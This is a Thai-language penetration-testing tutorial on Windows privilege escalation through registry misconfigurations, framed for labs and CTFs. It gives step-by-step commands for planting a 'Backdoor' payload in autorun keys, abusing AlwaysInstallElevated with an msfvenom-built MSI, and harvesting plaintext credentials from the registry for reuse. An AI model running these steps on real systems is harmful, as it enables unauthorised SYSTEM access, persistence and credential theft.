คลัง
windows-privesc

Registry Privesc

Registry Privesc ยกระดับสิทธิ์ผ่าน registry ที่ตั้งค่าผิด — autorun ที่แก้ได้, AlwaysInstallElevated, credential ที่เก็บใน registry, service registry ที่เขียนได้ บทนี้ลงลึกแต่ละช่องทางพร้อมคำสั่ง reg query/add และการหา credential (เนื้อหาเพื่อฝึกใน lab/CTF/ระบบที่ได้รับอนุญาต)

Intermediate#registry#windows#privesc#autorun#alwaysinstallelevated#credentials#ctf

1. หลักการ

Windows registry เก็บ config ระบบจำนวนมาก หลาย key ถ้าตั้ง permission ผิดหรือมีค่าที่ตั้งผิด นำไป privesc ได้: autorun ที่รันตอน login (ของ admin), AlwaysInstallElevated (ติดตั้ง MSI เป็น SYSTEM), service registry, และ credential ที่ถูกเก็บเป็น plaintext

เนื้อหานี้เพื่อฝึกในสภาพแวดล้อมที่ได้รับอนุญาต (CTF, lab, pentest) เท่านั้น

2. Autorun ที่เขียนได้

autorun keysWindows
# ดู autorun (รันตอน boot/login)
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run

# ตรวจ permission ของ key/binary ที่ autorun เรียก
accesschk.exe -wvu "HKLM\Software\Microsoft\Windows\CurrentVersion\Run"
# ถ้าเขียน key ได้ หรือเขียน binary ที่ autorun เรียกได้:

# แทนที่ด้วย payload → รอ admin login → รันด้วยสิทธิ์ admin
reg add HKLM\...\Run /v Backdoor /t REG_SZ /d "C:\Temp\payload.exe"
# หรือเขียนทับ binary ที่ autorun ชี้ไป (ถ้า binary เขียนได้)
autorun รันตอน login — ถ้าเขียน key/binary ได้ + admin login → รันเป็น admin; ต้องรอ admin login

3. AlwaysInstallElevated (ดูหัวข้อแยกด้วย)

ตรวจ AlwaysInstallElevatedWindows
# ตรวจทั้งสอง key (ต้องเป็น 1 ทั้งคู่)
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# ถ้า = 0x1 ทั้งคู่ → ติดตั้ง MSI เป็น SYSTEM ได้
# → สร้าง malicious MSI แล้ว msiexec (ดูหัวข้อ AlwaysInstallElevated)
ทั้ง HKCU และ HKLM ต้องเป็น 1 → ดูรายละเอียด exploit ในหัวข้อ AlwaysInstallElevated

4. Credential ใน registry

หา password ใน registryWindows
# autologon credential (มัก plaintext!)
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
# ดู DefaultUserName / DefaultPassword

# VNC, PuTTY, SNMP, อื่นๆ ที่เก็บใน registry
reg query HKCU\Software\SimonTatham\PuTTY\Sessions   # PuTTY
reg query "HKLM\SOFTWARE\RealVNC\WinVNC4" /v password # VNC

# ค้น password ทั่ว registry
reg query HKLM /f "password" /t REG_SZ /s
reg query HKCU /f "password" /t REG_SZ /s

# WinPEAS/Seatbelt หา credential เหล่านี้อัตโนมัติ
Winlogon autologon มัก plaintext password; PuTTY/VNC/SNMP เก็บ cred; reg query /f /s ค้นทั่ว

5. Quick Reference

  • registry ตั้งผิด → privesc หลายทาง
  • autorun: reg query ...\Run; เขียน key/binary ได้ + admin login
  • AlwaysInstallElevated: ทั้ง HKCU+HKLM = 1 → MSI เป็น SYSTEM
  • credential: Winlogon DefaultPassword, PuTTY/VNC, reg query /f password /s
  • ตรวจ permission: accesschk -wvu key
  • WinPEAS/Seatbelt หาอัตโนมัติ

🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ

สมมติ enum เจอว่า registry อาจตั้งค่าผิด มีแค่ Kali ทำตามนี้ทีละขั้น

  1. 1รัน winPEAS ก่อน: .\wp.exe quiet cmd fast ดูหมวด Registry ว่ามีแดงพื้นเหลืองไหม
  2. 2ถ้าไม่ชัด เช็ค AlwaysInstallElevated เอง: reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated และ reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
  3. 3ถ้าทั้งคู่เป็น 0x1 ให้ไปทำ MSI exploit ทันที (ดูหัวข้อ AlwaysInstallElevated) ข้ามขั้นที่เหลือ
  4. 4ถ้าไม่ใช่ เช็ค autorun: reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run แล้วดูว่า binary ที่ชี้ไปเขียนได้ไหมด้วย icacls "C:\path\to\binary.exe"
  5. 5เช็ค credential ที่แอบเก็บไว้: reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" ดู DefaultUserName/DefaultPassword
  6. 6ค้นแบบกว้างทั่ว registry: reg query HKLM /f password /t REG_SZ /s และ reg query HKCU /f password /t REG_SZ /s
  7. 7ถ้าเจอ password ให้เอาไปลองล็อกอินซ้ำด้วย nxc smb -u user -p password
  8. 8ถ้าเจอ autorun key ที่เขียนได้ ให้แทนด้วย payload: reg add HKLM\...\Run /v Backdoor /t REG_SZ /d "C:\Temp\payload.exe" แล้วรอ admin login
  9. 9ถ้าไม่มีอะไรใน registry เลย ให้ไปเช็ค services/scheduled tasks/token ต่อ
ตัดสินใจ: registry มีอะไรให้ใช้ไหม
รัน winPEAS ดูหมวด Registry
เจอ AlwaysInstallElevated=1 ทั้งคู่ไหม?
✅ เจอ→ สร้าง MSI exploit ทันที
❌ ไม่เจอ→ เช็ค autorun/credential ต่อ
msfvenom -f msi -o evil.msi แล้ว msiexec /quiet /qn /i evil.msi
autorun key เขียนได้ไหม (icacls)?
✅ เขียนได้→ แทน payload แล้วรอ admin login
❌ เขียนไม่ได้→ ไปหา credential ในregistry แทน
reg query /f password /t REG_SZ /s (ค้นทั่ว)
เจอ password ในregistry ไหม?
✅ เจอ→ เอาไปลอง login ซ้ำ / pass-the-hash
❌ ไม่เจอเลย→ ตันในแนว registry ไปทางอื่นต่อ
ขั้นตอน/งานเครื่องมือใน Kaliติดตั้งเพิ่ม (ถ้าไม่มี)เครื่องมือออนไลน์
enum registry อัตโนมัติwinPEAS-winpeas (GitHub release PEASS-ng)
ดู/แก้ registry keyreg (มากับ Windows เป้าหมาย)--
ตรวจ writable key/binaryicacls / accesschk.exe--
สร้าง malicious MSImsfvenom--
ทดสอบ credential ที่เจอnxc / crackmapexecpipx install netexec-
เข้า shell ด้วย credentialevil-winrmgem install evil-winrm-
ส่งไฟล์เข้าเป้าหมายpython3 -m http.server--
🚑 ถ้าตันสนิท ลองท่าถัดไป: AlwaysInstallElevated (ดูรายละเอียด MSI exploit เต็ม), Win Services (misconfig พบบ่อยกว่า), Scheduled Tasks, หรือถ้าเจอ credential แล้วไป Credential Dumping ต่อด้วย Pass-the-Hash

โน้ตของฉัน

ยังไม่มีโน้ตสำหรับหัวข้อนี้